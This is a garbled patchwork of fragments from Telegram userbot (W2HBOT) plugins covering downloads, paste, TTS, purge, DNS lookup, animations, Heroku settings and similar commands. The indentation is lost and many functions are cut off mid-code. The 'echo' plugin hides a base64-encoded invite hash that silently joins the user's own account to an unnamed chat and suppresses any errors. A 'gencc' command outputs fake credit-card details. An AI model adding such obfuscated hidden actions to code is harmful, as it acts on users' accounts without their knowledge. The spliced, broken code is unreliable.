# credits: @Mr_Hops
from telethon import events
from telethon.errors.rpcerrorlist import YouBlockedUserError
from userbot import CMD_HELP
from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="recognize ?(.*)", outgoing=True))
@bot.on(sudo_cmd(pattern="recognize ?(.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
if not event.reply_to_msg_id:
await edit_or_reply(event, "Reply to any user's media message.")
return
reply_message = await event.get_reply_message()
if not reply_message.media:
await edit_or_reply(event, "reply to media file")
return
chat = "@Rekognition_Bot"
reply_message.sender
if reply_message.sender.bot:
await edit_or_reply(event, "Reply to actual users message.")
return
W2H = await edit_or_reply(event, "recognizeing this media")
async with event.client.conversation(chat) as conv:
try:
response = conv.wait_event(
level=logging.WARNING)
def progress(current, total):
logger.info("Downloaded {} of {}\nCompleted {}".format(
current, total, (current / total) * 100))
DOGBIN_URL = "https://del.dog/"
BOTLOG_CHATID = Config.PRIVATE_GROUP_BOT_API_ID
BOTLOG = True
@bot.on(admin_cmd(pattern="paste ?(.*)", outgoing=True))
@bot.on(sudo_cmd(pattern="paste ?(.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
start = datetime.now()
if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY):
os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY)
input_str = event.pattern_match.group(1)
message = "SYNTAX: `.paste <long text to include>`"
if input_str:
message = input_str
elif event.reply_to_msg_id:
previous_message = await event.get_reply_message()
if previous_message.media:
downloaded_file_name = await borg.download_media(
previous_message,
import math
import os
import time
from datetime import datetime
from pySmartDL import SmartDL
from userbot import ALIVE_NAME, CMD_HELP
from W2HBOT.utils import admin_cmd, humanbytes, progress, sudo_cmd
from userbot.cmdhelp import CmdHelp
DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "W2H User"
@bot.on(admin_cmd(pattern="download(?: |$)(.*)", outgoing=True))
@bot.on(sudo_cmd(pattern="download(?: |$)(.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
mone = await edit_or_reply(event, "`Processing ...`")
input_str = event.pattern_match.group(1)
if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY):
os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY)
if event.reply_to_msg_id:
start = datetime.now()
reply_message = await event.get_reply_message()
try:
c_time = time.time()
downloaded_file_name = await event.client.download_media(
reply_message,
Config.TMP_DOWNLOAD_DIRECTORY,
os.remove(image)
return filename
def convert_tosticker(response, filename=None):
filename = filename or os.path.join("./temp/", "temp.webp")
image = Image.open(response)
if image.mode != "RGB":
image.convert("RGB")
image.save(filename, "webp")
os.remove(response)
return filename
@bot.on(admin_cmd(pattern="(rmbg|srmbg) ?(.*)"))
@bot.on(sudo_cmd(pattern="(rmbg|srmbg) ?(.*)", allow_sudo=True))
async def remove_background(event):
if Config.REM_BG_API_KEY is None:
return await edit_or_reply(
event,
"You have to set `REM_BG_API_KEY` in Config vars with API token from remove.bg to use this module"
)
cmd = event.pattern_match.group(1)
input_str = event.pattern_match.group(2)
message_id = await reply_id(event)
if event.reply_to_msg_id and not input_str:
reply_message = await event.get_reply_message()
W2Hevent = await edit_or_reply(event, "`Analysing...`")
file_name = os.path.join(TEMP_DIR, "rmbg.png")
try:
await event.client.download_media(reply_message, file_name)
.tts LanguageCode as reply to a message
.tts LangaugeCode | text to speak"""
import asyncio
import os
import subprocess
from datetime import datetime
from gtts import gTTS
from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern=r"tts (.*)"))
@bot.on(sudo_cmd(pattern=r"tts (.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
input_str = event.pattern_match.group(1)
start = datetime.now()
if event.reply_to_msg_id:
previous_message = await event.get_reply_message()
text = previous_message.message
lan = input_str
elif "|" in input_str:
lan, text = input_str.split("|")
else:
await edit_or_reply(event, "Invalid Syntax. Module stopping.")
return
text = text.strip()
for x in range(len(time_list)):
time_list[x] = str(time_list[x]) + time_suffix_list[x]
if len(time_list) == 4:
ping_time += time_list.pop() + ", "
time_list.reverse()
ping_time += ":".join(time_list)
return ping_time
uptime = get_readable_time((time.time() - StartTime))
@bot.on(admin_cmd(outgoing=True, pattern="w2h$"))
@bot.on(sudo_cmd(pattern="w2h$", allow_sudo=True))
async def amireallyalive(alive):
if alive.fwd_from:
return
reply_to_id = await reply_id(alive)
if W2H_IMG:
W2H_caption = f"**{CUSTOM_ALIVE_TEXT}**\n"
W2H_caption += f"~~~~~~~~~~~~~~~~~~~~~~~\n"
W2H_caption += f" __**BOT STATUS**__\n\n"
W2H_caption += f"**★ Telethon version :** `{version.__version__}`\n"
W2H_caption += f"**★ W2HBOT :**`{W2Hversion}`\n"
W2H_caption += f"**★ Uptime :** `{uptime}\n`"
W2H_caption += f"**★ Master:** {mention}\n"
await alive.client.send_file(alive.chat_id,
W2H_IMG,
"""Get Telegram Profile Picture and other information
Syntax: .ppg @username"""
import html
from telethon.tl.functions.photos import GetUserPhotosRequest
from telethon.tl.functions.users import GetFullUserRequest
from telethon.tl.types import MessageEntityMentionName
from telethon.utils import get_input_location
from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply
@borg.on(admin_cmd(pattern="ppg ?(.*)", outgoing=True))
@borg.on(sudo_cmd(pattern="ppg ?(.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
replied_user, error_i_a = await get_full_user(event)
if replied_user is None:
await edit_or_reply(event, str(error_i_a))
return False
replied_user_profile_photos = await borg(
GetUserPhotosRequest(
user_id=replied_user.user.id, offset=42, max_id=0, limit=80
)
)
replied_user_profile_photos_count = "NaN"
try:
replied_user_profile_photos_count = replied_user_profile_photos.count
except AttributeError:
# display iterables one after another at the base indentation level
result.append("\n")
indent += 2
for x in obj:
result.append(" " * indent)
result.append(yaml_format(x, indent))
result.append("\n")
result.pop()
indent -= 2
result.append(" " * indent)
else:
result.append(repr(obj))
return "".join(result)
@bot.on(admin_cmd(pattern=r"new", outgoing=True))
@bot.on(sudo_cmd(pattern=r"new", allow_sudo=True))
async def _(event):
if not event.message.is_reply:
return
msg = await event.message.get_reply_message()
yaml_text = yaml_format(msg)
await edit_or_reply(event, yaml_text, parse_mode=parse_pre)
CmdHelp("new").add_command(
"new", None,
"Pretty formats the given object as a YAML string which is returned.(based on TLObject.pretty_format)"
).add()
# Licensed under the Raphielscape Public License, Version 1.c (the "License");
# you may not use this file except in compliance with the License.
#
""" Userbot module for purging unneeded messages(usually spam or ot). """
from asyncio import sleep
from telethon.errors import rpcbaseerrors
from userbot import BOTLOG, BOTLOG_CHATID, CMD_HELP
from W2HBOT.utils import admin_cmd, errors_handler, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern=r"purge", outgoing=True))
@bot.on(sudo_cmd(pattern=r"purge", allow_sudo=True))
@errors_handler
async def fastpurger(purg):
""" For .purge command, purge all messages starting from the reply. """
chat = await purg.get_input_chat()
msgs = []
count = 0
async for msg in purg.client.iter_messages(chat,
min_id=purg.reply_to_msg_id):
msgs.append(msg)
count = count + 1
msgs.append(purg.reply_to_msg_id)
if len(msgs) == 100:
await purg.client.delete_messages(chat, msgs)
msgs = []
import requests
from userbot import CMD_HELP
from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="dns (.*)", outgoing=True))
@bot.on(sudo_cmd(pattern="dns (.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
input_str = event.pattern_match.group(1)
sample_url = "https://da.gd/dns/{}".format(input_str)
response_api = requests.get(sample_url).text
if response_api:
await edit_or_reply(
event, "DNS records of [This link]({}) are \n{}".format(
input_str, response_api, link_preview=False))
else:
await edit_or_reply(
event,
"i can't seem to find [this link]({}) on the internet".format(
input_str, link_preview=False))
@bot.on(admin_cmd(pattern="url (.*)", outgoing=True))
@bot.on(sudo_cmd(pattern="url (.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
import asyncio
from collections import deque
from userbot import *
from W2HBOT.utils import admin_cmd, edit_or_reply, sudo_cmd
from userbot.cmdhelp import CmdHelp
DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "W2H User"
@bot.on(admin_cmd(pattern=r"boxs$", outgoing=True))
@bot.on(sudo_cmd(pattern=r"boxs$", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
event = await edit_or_reply(event, "`boxs...`")
deq = deque(list("🟥🟧🟨🟩🟦🟪🟫⬛⬜"))
for _ in range(999):
await asyncio.sleep(0.3)
await event.edit("".join(deq))
deq.rotate(1)
@bot.on(admin_cmd(pattern=r"rain$", outgoing=True))
@bot.on(sudo_cmd(pattern=r"rain$", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
event = await edit_or_reply(event, "`Raining.......`")
deq = deque(list("🌬☁️🌩🌨🌧🌦🌥⛅🌤"))
for _ in range(48):
from userbot import CMD_HELP
from userbot.helpers.functions import (
convert_toimage,
deEmojify,
phcomment,
threats,
trap,
trash,
)
from W2HBOT.utils import admin_cmd, edit_or_reply, sudo_cmd
from userbot.cmdhelp import CmdHelp
from . import *
@bot.on(admin_cmd(pattern="threats(?: |$)(.*)"))
@bot.on(sudo_cmd(pattern="threats(?: |$)(.*)", allow_sudo=True))
async def W2HBOT(W2Hmemes):
replied = await W2Hmemes.get_reply_message()
if not os.path.isdir("./temp/"):
os.makedirs("./temp/")
if not replied:
await edit_or_reply(
W2Hmemes, "`Media file not supported. Reply to a supported media`")
return
if replied.media:
W2Hmemmes = await edit_or_reply(W2Hmemes,
"`Detecting Threats.........`")
else:
await edit_or_reply(
W2Hmemes, "`Media file not supported. Reply to a suported media`")
return
int(snip.media_access_hash),
snip.media_file_reference)
else:
media = None
message_id = event.message.id
if event.reply_to_msg_id:
message_id = event.reply_to_msg_id
await borg.send_message(event.chat_id,
snip.reply,
reply_to=message_id,
file=media)
await event.delete()
@bot.on(admin_cmd(pattern="snips (.*)"))
@bot.on(sudo_cmd(pattern="snips (.*)", allow_sudo=True))
async def on_snip_save(event):
name = event.pattern_match.group(1)
msg = await event.get_reply_message()
if msg:
snip = {'type': TYPE_TEXT, 'text': msg.message or ''}
if msg.media:
media = None
if isinstance(msg.media, types.MessageMediaPhoto):
media = utils.get_input_photo(msg.media.photo)
snip['type'] = TYPE_PHOTO
elif isinstance(msg.media, types.MessageMediaDocument):
media = utils.get_input_document(msg.media.document)
snip['type'] = TYPE_DOCUMENT
if media:
snip['id'] = media.id
"""Schedule Plugin for @UniBorg
Syntax: .schd <time_in_seconds> ;=; <message to send>"""
import asyncio
from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="schd ?(.*)", outgoing=True))
@bot.on(sudo_cmd(pattern="schd ?(.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
input_str = event.pattern_match.group(1)
ttl = 0
message = "SYNTAX: `.schd <time_in_seconds> - <message to send>`"
if input_str:
await event.delete()
if "-" in input_str:
ttl, message = input_str.split("-")
elif event.reply_to_msg_id:
await event.delete()
ttl = int(input_str)
message = await event.get_reply_message()
await asyncio.sleep(int(ttl))
await event.respond(message)
else:
await event.edit(message)
CmdHelp("schedule").add_command("schd", "<time in secs> - <msg to send>",
import asyncio
from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="phub$", outgoing=True))
@bot.on(sudo_cmd(pattern="phub$", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
animation_interval = 0.5
animation_ttl = range(0, 101)
await edit_or_reply(event, "phub")
animation_chars = [
"P_",
"PO_",
"POR_",
"PORN_",
"PORNH_",
"PORNHU_",
"PORNHUB_",
"PORNHUB",
]
import os
from faker import Faker
import datetime
from telethon import functions, types, events
from telethon.tl.functions.messages import DeleteHistoryRequest
from telethon.errors.rpcerrorlist import YouBlockedUserError
from telethon.tl.functions.account import UpdateNotifySettingsRequest
from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply
from W2HBOT import CmdHelp, bot as W2HBOT
@W2HBOT.on(admin_cmd("gencc$"))
@W2HBOT.on(sudo_cmd("gencc$", allow_sudo=True))
async def _(W2Hevent):
if W2Hevent.fwd_from:
return
W2Hcc = Faker()
W2Hname = W2Hcc.name()
W2Hadre = W2Hcc.address()
W2Hcard = W2Hcc.credit_card_full()
await edit_or_reply(W2Hevent, f"__**👤 NAME :- **__\n`{W2Hname}`\n\n__**🏡 ADDRESS :- **__\n`{W2Hadre}`\n\n__**💸 CARD :- **__\n`{W2Hcard}`")
@W2HBOT.on(admin_cmd(pattern="bin ?(.*)"))
@W2HBOT.on(sudo_cmd(pattern="bin ?(.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
W2H_input = event.pattern_match.group(1)
await var.edit("`Getting information to deleting variable...`")
try:
variable = var.pattern_match.group(2).split()[0]
except IndexError:
return await var.edit(
"`Please specify ConfigVars you want to delete`")
await asyncio.sleep(1.5)
if variable in heroku_var:
await var.edit(f"**{variable}** `successfully deleted`")
del heroku_var[variable]
else:
return await var.edit(f"**{variable}** `is not exists`")
@bot.on(admin_cmd(pattern="usage(?: |$)", outgoing=True))
@bot.on(sudo_cmd(pattern="usage(?: |$)", allow_sudo=True))
async def dyno_usage(dyno):
if dyno.fwd_from:
return
"""
Get your account Dyno Usage
"""
await edit_or_reply(dyno, "`Processing...`")
useragent = ("Mozilla/5.0 (Linux; Android 10; SM-G975F) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/80.0.3987.149 Mobile Safari/537.36")
user_id = Heroku.account().id
headers = {
"User-Agent": useragent,
"Authorization": f"Bearer {Var.HEROKU_API_KEY}",
"Accept": "application/vnd.heroku+json; version=3.account-quotas",
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2
from telethon.tl.types import ChannelParticipantsAdmins
from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern=r"tagall (.*)", outgoing=True))
@bot.on(sudo_cmd(pattern=r"tagall (.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
mentions = event.pattern_match.group(1)
chat = await event.get_input_chat()
async for x in borg.iter_participants(chat, 100):
mentions += f" \n [{x.first_name}](tg://user?id={x.id})"
await event.reply(mentions)
await event.delete()
@bot.on(admin_cmd(pattern=r"admins", outgoing=True))
@bot.on(sudo_cmd(pattern=r"admins", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
mentions = "Administrators : "
chat = await event.get_input_chat()
async for x in borg.iter_participants(chat,
filter=ChannelParticipantsAdmins):
global groupsid
groupsid = []
async def all_groups_id(W2H):
W2Hgroups = []
async for dialog in W2H.client.iter_dialogs():
entity = dialog.entity
if isinstance(entity, Channel) and entity.megagroup:
W2Hgroups.append(entity.id)
return W2Hgroups
@bot.on(admin_cmd(pattern="frwd$"))
@bot.on(sudo_cmd(pattern="frwd$", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
if Config.PRIVATE_GROUP_BOT_API_ID is None:
await edit_or_reply(
event,
"Please set the required environment variable `PRIVATE_GROUP_BOT_API_ID` for this plugin to work",
)
return
try:
e = await event.client.get_entity(Config.PRIVATE_GROUP_BOT_API_ID)
except Exception as e:
await edit_or_reply(event, str(e))
else:
re_message = await event.get_reply_message()
import asyncio
from collections import deque
from userbot import CMD_HELP
from W2HBOT.utils import admin_cmd, edit_or_reply, sudo_cmd
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="think$", outgoing=True))
@bot.on(sudo_cmd(pattern="think$", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
event = await edit_or_reply(event, "think")
deq = deque(list("🤔🧐🤔🧐🤔🧐"))
for _ in range(48):
await asyncio.sleep(0.1)
await event.edit("".join(deq))
deq.rotate(1)
@bot.on(admin_cmd(pattern="ccry$", outgoing=True))
@bot.on(sudo_cmd(pattern="ccry$", allow_sudo=True))
async def cry(e):
if e.fwd_from:
return
if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"):
await e.edit("(;´༎ຶД༎ຶ)")
@bot.on(admin_cmd(pattern="fap$", outgoing=True))
@bot.on(sudo_cmd(pattern="fap$", allow_sudo=True))
async def _(event):
"""Inputs time in milliseconds, to get beautified time,
as string"""
seconds, milliseconds = divmod(int(milliseconds), 1000)
minutes, seconds = divmod(seconds, 60)
hours, minutes = divmod(minutes, 60)
days, hours = divmod(hours, 24)
tmp = (((str(days) + " day(s), ") if days else "") +
((str(hours) + " hour(s), ") if hours else "") +
((str(minutes) + " minute(s), ") if minutes else "") +
((str(seconds) + " second(s), ") if seconds else "") +
((str(milliseconds) + " millisecond(s), ") if milliseconds else ""))
return tmp[:-2]
@bot.on(admin_cmd(pattern="yt(a|v) (.*)"))
@bot.on(sudo_cmd(pattern="yt(a|v) (.*)", allow_sudo=True))
async def download_video(v_url):
if v_url.fwd_from:
return
""" For .ytdl command, download media from YouTube and many other sites. """
url = v_url.pattern_match.group(2)
type = v_url.pattern_match.group(1).lower()
await edit_or_reply(v_url, "`Preparing to download...`")
if type == "a":
opts = {
"format":
"bestaudio",
"addmetadata":
True,
import time
from telethon.events import NewMessage
from telethon.tl.custom import Dialog
from telethon.tl.types import Channel, Chat, User
from userbot import CMD_HELP
from W2HBOT.utils import admin_cmd, edit_or_reply, sudo_cmd
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="stats$"))
@bot.on(sudo_cmd(pattern="stats$", allow_sudo=True))
async def stats(
event: NewMessage.Event,
) -> None: # pylint: disable = R0912, R0914, R0915
"""Command to get stats about the account"""
W2H = await edit_or_reply(event, "`Collecting stats...`")
start_time = time.time()
private_chats = 0
bots = 0
groups = 0
broadcast_channels = 0
admin_in_groups = 0
creator_in_groups = 0
admin_in_broadcast_channels = 0
creator_in_channels = 0
unread_mentions = 0
unread = 0
dialog: Dialog
async for dialog in event.client.iter_dialogs():
entity = dialog.entity
if name == "play":
name = "Google Play Movies"
return name[0].upper() + name[1:]
def get_provider(url):
url = url.replace("https://www.", "")
url = url.replace("https://", "")
url = url.replace("http://www.", "")
url = url.replace("http://", "")
url = url.split(".")[0]
return url
@bot.on(admin_cmd(pattern="watch (.*)"))
@bot.on(sudo_cmd(pattern="watch (.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
query = event.pattern_match.group(1)
await edit_or_reply(event, "Finding Sites...")
streams = get_stream_data(query)
title = streams["title"]
thumb_link = streams["movie_thumb"]
release_year = streams["release_year"]
release_date = streams["release_date"]
scores = streams["score"]
try:
imdb_score = scores["imdb"]
except KeyError:
imdb_score = None
import random
import textwrap
from PIL import Image, ImageDraw, ImageFont
from telethon.tl.types import InputMessagesFilterDocument
from userbot import bot
from userbot.helpers.functions import deEmojify
from W2HBOT.utils import admin_cmd, edit_or_reply, sudo_cmd
from userbot.cmdhelp import CmdHelp
# RegEx by https://t.me/c/1220993104/50065
@bot.on(admin_cmd(pattern="waifu(?: |$)(.*)", outgoing=True))
@bot.on(sudo_cmd(pattern="waifu(?: |$)(.*)", allow_sudo=True))
async def waifu(animu):
# """Creates random anime sticker!"""
text = animu.pattern_match.group(1)
if not text:
if animu.is_reply:
text = (await animu.get_reply_message()).message
else:
await animu.edit("`You haven't written any article, Waifu is going away.`")
return
animus = [1, 3, 7, 9, 13, 22, 34, 35, 36, 37, 43, 44, 45, 52, 53, 55]
sticcers = await bot.inline_query(
"stickerizerbot", f"#{random.choice(animus)}{(deEmojify(text))}"
)
await sticcers[0].click(
"""Thakn You @pureindialover
"""
import asyncio
from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
from userbot.plugins.sql_helper.mute_sql import is_muted, mute, unmute
@bot.on(admin_cmd(pattern="mute ?(\d+)?", outgoing=True))
@bot.on(sudo_cmd(pattern="mute ?(\d+)?", allow_sudo=True))
async def startmute(event):
private = False
if event.fwd_from:
return
elif event.is_private:
await edit_or_reply(event, "Shut The Fukk Up!!!!!")
await asyncio.sleep(3)
private = True
if any([
x in event.raw_text for x in (
"/mute",
"!mute",
"amute",
"bmute",
"cmute",
"dmute",
"emute",
"fmute",
"gmute",
"hmute",
from telethon import events
from telethon.tl.functions.messages import ImportChatInviteRequest as Get
from userbot import CMD_HELP
from userbot.plugins.sql_helper.echo_sql import (
addecho,
get_all_echos,
is_echo,
remove_echo,
)
from W2HBOT.utils import admin_cmd, edit_or_reply, sudo_cmd
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="echo$"))
@bot.on(sudo_cmd(pattern="echo$", allow_sudo=True))
async def echo(W2H):
if W2H.fwd_from:
return
if W2H.reply_to_msg_id is not None:
reply_msg = await W2H.get_reply_message()
user_id = reply_msg.sender_id
chat_id = W2H.chat_id
try:
aura = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
aura = Get(aura)
await W2H.client(aura)
except BaseException:
pass
if is_echo(user_id, chat_id):
await edit_or_reply(W2H, "The user is already enabled with echo ")
from userbot import ALIVE_NAME, CMD_HELP
from W2HBOT.utils import admin_cmd, edit_or_reply, sudo_cmd
from userbot.cmdhelp import CmdHelp
DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "W2H User"
USERID = bot.uid
mention = f"[{DEFAULTUSER}](tg://user?id={USERID})"
@bot.on(admin_cmd(pattern="carry (.*)"))
@bot.on(sudo_cmd(pattern="carry (.*)", allow_sudo=True))
async def aura(carry):
if carry.fwd_from:
return
name = carry.pattern_match.group(1)
await edit_or_reply(
carry,
f"**Carry ~> {name} .**\n\n ⣤⣶⣶⣶⣦⣤⣄⡀\n⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀\n⠀⠀⠀⢀⣾⣿⣿⣿⠿⠿⠟⠻⠿⢿⣿⣿⣿⡆\n⠀⠀⠀⢰⣿⣿⡿⠂⠀⠀⠀⠀⠀⠀ ⠈⠉⢻⡇ \n⠀⠀⠀⠈⠿⣿⣇⣠⠤⠤⠤⢤⣀⣤⠤⠤⣺⡏ \n⠀⠀⠀⠀⠐⢉⣯⠹⣀⣀⣢⡸⠉⢏⡄⣀⣯⠁ \n⠀⠀⠀⠀⠡⠀⢹⣆⠀⠀⠀⣀⡀⡰⠀⢠⠖⠂ \n⠀⠀⠀⠀⠀⠈⠙⣿⣿⠀⠠⠚⢋⡁⠀⡜ \n⠀⠀⠀⠀⠀⠀⢸⠈⠙⠦⣤⣀⣤⣤⡼⠁ \n⠀⠀⠀ ⠀⢀⡌⠀⠀⠀⠀ ⠉⢏⡉ \n⠀⠀⠀⣀⣴⣿⣷⣶⣤⣤⣤⣴⣾⣷⣶⣦⡀ \n⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄ \n⠚⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛",
)
@bot.on(admin_cmd(pattern="ded (.*)"))
@bot.on(sudo_cmd(pattern="ded (.*)", allow_sudo=True))
async def aura(ded):
if ded.fwd_from:
return
name = ded.pattern_match.group(1)
await edit_or_reply(
ded,
